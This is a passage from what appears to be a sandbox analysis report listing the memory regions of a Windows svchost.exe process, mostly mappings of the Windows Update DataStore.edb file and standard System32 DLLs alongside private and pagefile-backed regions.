"\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2109 start_va = 0x5fc0000 end_va = 0x5fcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2110 start_va = 0x5fd0000 end_va = 0x5fdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2111 start_va = 0x5fe0000 end_va = 0x5feffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2112 start_va = 0x5ff0000 end_va = 0x5ffffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2113 start_va = 0x6000000 end_va = 0x604dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006000000" filename = "" Region: id = 2114 start_va = 0x6050000 end_va = 0x605ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006050000" filename = "" Region: id = 2115 start_va = 0x6060000 end_va = 0x606ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006060000" filename = "" Region: id = 2116 start_va = 0x6070000 end_va = 0x607ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006070000" filename = "" Region: id = 2117 start_va = 0x6080000 end_va = 0x608ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006080000" filename = "" Region: id = 2118 start_va = 0x6090000 end_va = 0x6096fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 2119 start_va = 0x60a0000 end_va = 0x60edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060a0000" filename = "" Region: id = 2120 start_va = 0x60f0000 end_va = 0x60fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060f0000" filename = "" Region: id = 2121 start_va = 0x6100000 end_va = 0x61fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006100000" filename = "" Region: id = 2122 start_va = 0x6200000 end_va = 0x62fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006200000" filename = "" Region: id = 2123 start_va = 0x6300000 end_va = 0x63fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 2124 start_va = 0x6400000 end_va = 0x64fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006400000" filename = "" Region: id = 2125 start_va = 0x6500000 end_va = 0x650ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2126 start_va = 0x6510000 end_va = 0x651ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2127 start_va = 0x6520000 end_va = 0x652ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2128 start_va = 0x6530000 end_va = 0x653ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2129 start_va = 0x6540000 end_va = 0x654ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2130 start_va = 0x6550000 end_va = 0x655ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2131 start_va = 0x6560000 end_va = 0x656ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2132 start_va = 0x6570000 end_va = 0x657ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2133 start_va = 0x6580000 end_va = 0x658ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2134 start_va = 0x6590000 end_va = 0x659ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2135 start_va = 0x65a0000 end_va = 0x65affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2136 start_va = 0x65b0000 end_va = 0x65bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2137 start_va = 0x65c0000 end_va = 0x65cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2138 start_va = 0x65d0000 end_va = 0x65dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2139 start_va = 0x65e0000 end_va = 0x65effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2140 start_va = 0x65f0000 end_va = 0x65fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2141 start_va = 0x6600000 end_va = 0x66fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006600000" filename = "" Region: id = 2142 start_va = 0x6700000 end_va = 0x67fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 2143 start_va = 0x6800000 end_va = 0x68fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006800000" filename = "" Region: id = 2144 start_va = 0x6900000 end_va = 0x690ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006900000" filename = "" Region: id = 2145 start_va = 0x6910000 end_va = 0x691ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006910000" filename = "" Region: id = 2146 start_va = 0x6920000 end_va = 0x692ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006920000" filename = "" Region: id = 2147 start_va = 0x6930000 end_va = 0x693ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006930000" filename = "" Region: id = 2148 start_va = 0x6940000 end_va = 0x694ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006940000" filename = "" Region: id = 2149 start_va = 0x6950000 end_va = 0x695ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006950000" filename = "" Region: id = 2150 start_va = 0x6960000 end_va = 0x696ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2151 start_va = 0x6970000 end_va = 0x697ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2152 start_va = 0x6980000 end_va = 0x6983fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006980000" filename = "" Region: id = 2153 start_va = 0x6990000 end_va = 0x699ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2154 start_va = 0x69a0000 end_va = 0x69affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2155 start_va = 0x69b0000 end_va = 0x69bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2156 start_va = 0x69c0000 end_va = 0x69cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000069c0000" filename = "" Region: id = 2157 start_va = 0x69d0000 end_va = 0x69dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2158 start_va = 0x69e0000 end_va = 0x69effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2159 start_va = 0x69f0000 end_va = 0x69fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2160 start_va = 0x6a00000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 2161 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 2162 start_va = 0x6c00000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 2163 start_va = 0x6d00000 end_va = 0x6d0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2164 start_va = 0x6d10000 end_va = 0x6d1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2165 start_va = 0x6d20000 end_va = 0x6d2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2166 start_va = 0x6d30000 end_va = 0x6d3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2167 start_va = 0x6d40000 end_va = 0x6d4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2168 start_va = 0x6d50000 end_va = 0x6d5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2169 start_va = 0x6d60000 end_va = 0x6d6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2170 start_va = 0x6d70000 end_va = 0x6d7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2171 start_va = 0x6d80000 end_va = 0x6d8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2172 start_va = 0x6d90000 end_va = 0x6d9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2173 start_va = 0x6da0000 end_va = 0x6daffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2174 start_va = 0x6db0000 end_va = 0x6dbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2175 start_va = 0x6dc0000 end_va = 0x6dcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2176 start_va = 0x6dd0000 end_va = 0x6ddffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2177 start_va = 0x6de0000 end_va = 0x6deffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2178 start_va = 0x6df0000 end_va = 0x6dfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2179 start_va = 0x6e00000 end_va = 0x6efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 2180 start_va = 0x6f00000 end_va = 0x6ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 2181 start_va = 0x7000000 end_va = 0x70fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 2182 start_va = 0x7100000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 2183 start_va = 0x7200000 end_va = 0x720ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2184 start_va = 0x7210000 end_va = 0x721ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2185 start_va = 0x7220000 end_va = 0x722ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2186 start_va = 0x7230000 end_va = 0x723ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2187 start_va = 0x7310000 end_va = 0x740ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007310000" filename = "" Region: id = 2188 start_va = 0x7410000 end_va = 0x748ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007410000" filename = "" Region: id = 2189 start_va = 0x7500000 end_va = 0x75fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007500000" filename = "" Region: id = 2190 start_va = 0x76f0000 end_va = 0x76fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2191 start_va = 0x7700000 end_va = 0x77fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 2192 start_va = 0x7800000 end_va = 0x780ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2193 start_va = 0x7810000 end_va = 0x790ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007810000" filename = "" Region: id = 2194 start_va = 0x7910000 end_va = 0x791ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2195 start_va = 0x7920000 end_va = 0x792ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2196 start_va = 0x7930000 end_va = 0x793ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2197 start_va = 0x7940000 end_va = 0x794ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2198 start_va = 0x7950000 end_va = 0x795ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2199 start_va = 0x7960000 end_va = 0x796ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2200 start_va = 0x7970000 end_va = 0x797ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2201 start_va = 0x7980000 end_va = 0x798ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2202 start_va = 0x7990000 end_va = 0x799ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2203 start_va = 0x79a0000 end_va = 0x79affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2204 start_va = 0x7b10000 end_va = 0x7b1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2205 start_va = 0x7b20000 end_va = 0x7b2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2206 start_va = 0x7b30000 end_va = 0x7b3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2207 start_va = 0x7b40000 end_va = 0x7b4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2208 start_va = 0x7b50000 end_va = 0x7c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007b50000" filename = "" Region: id = 2209 start_va = 0x7d00000 end_va = 0x7dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007d00000" filename = "" Region: id = 2210 start_va = 0x8610000 end_va = 0x870ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008610000" filename = "" Region: id = 2211 start_va = 0x8710000 end_va = 0x880ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008710000" filename = "" Region: id = 2212 start_va = 0x8810000 end_va = 0x890ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008810000" filename = "" Region: id = 2213 start_va = 0x8910000 end_va = 0x8a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008910000" filename = "" Region: id = 2214 start_va = 0x8a10000 end_va = 0x8b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a10000" filename = "" Region: id = 2215 start_va = 0x8b10000 end_va = 0x8c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008b10000" filename = "" Region: id = 2216 start_va = 0x8c10000 end_va = 0x8d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c10000" filename = "" Region: id = 2217 start_va = 0x8d10000 end_va = 0x9d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d10000" filename = "" Region: id = 2218 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2219 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 2220 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 2221 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 2222 start_va = 0x7ff661bf0000 end_va = 0x7ff661bfcfff monitored = 0 entry_point = 0x7ff661bf3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2223 start_va = 0x7ffd32240000 end_va = 0x7ffd32257fff monitored = 0 entry_point = 0x7ffd32241b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 2224 start_va = 0x7ffd32310000 end_va = 0x7ffd32317fff monitored = 0 entry_point = 0x7ffd323113b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 2225 start_va = 0x7ffd324a0000 end_va = 0x7ffd324b6fff monitored = 0 entry_point = 0x7ffd324a7520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 2226 start_va = 0x7ffd324c0000 end_va = 0x7ffd32503fff monitored = 0 entry_point = 0x7ffd324e83e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 2227 start_va = 0x7ffd32510000 end_va = 0x7ffd32527fff monitored = 0 entry_point = 0x7ffd3251b850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 2228 start_va = 0x7ffd32530000 end_va = 0x7ffd3258cfff monitored = 0 entry_point = 0x7ffd3255e510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 2229 start_va = 0x7ffd34370000 end_va = 0x7ffd3461ffff monitored = 0 entry_point = 0x7ffd34371cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 2230 start_va = 0x7ffd355d0000 end_va = 0x7ffd355e1fff monitored = 0 entry_point = 0x7ffd355d1a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 2231 start_va = 0x7ffd359c0000 end_va = 0x7ffd359d0fff monitored = 0 entry_point = 0x7ffd359c28d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 2232 start_va = 0x7ffd359e0000 end_va = 0x7ffd35a11fff monitored = 0 entry_point = 0x7ffd359eb0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 2233 start_va = 0x7ffd36040000 end_va = 0x7ffd3605cfff monitored = 0 entry_point = 0x7ffd36044f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 2234 start_va = 0x7ffd360a0000 end_va = 0x7ffd360e5fff monitored = 0 entry_point = 0x7ffd360a79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 2235 start_va = 0x7ffd368d0000 end_va = 0x7ffd369defff monitored = 0 entry_point = 0x7ffd3690c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 2236 start_va = 0x7ffd38030000 end_va = 0x7ffd3806efff monitored = 0 entry_point = 0x7ffd380582d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 2237 start_va = 0x7ffd38490000 end_va = 0x7ffd385acfff monitored = 0 entry_point = 0x7ffd384bfe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 2238 start_va = 0x7ffd3af10000 end_va = 0x7ffd3af45fff monitored = 0 entry_point = 0x7ffd3af127f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = 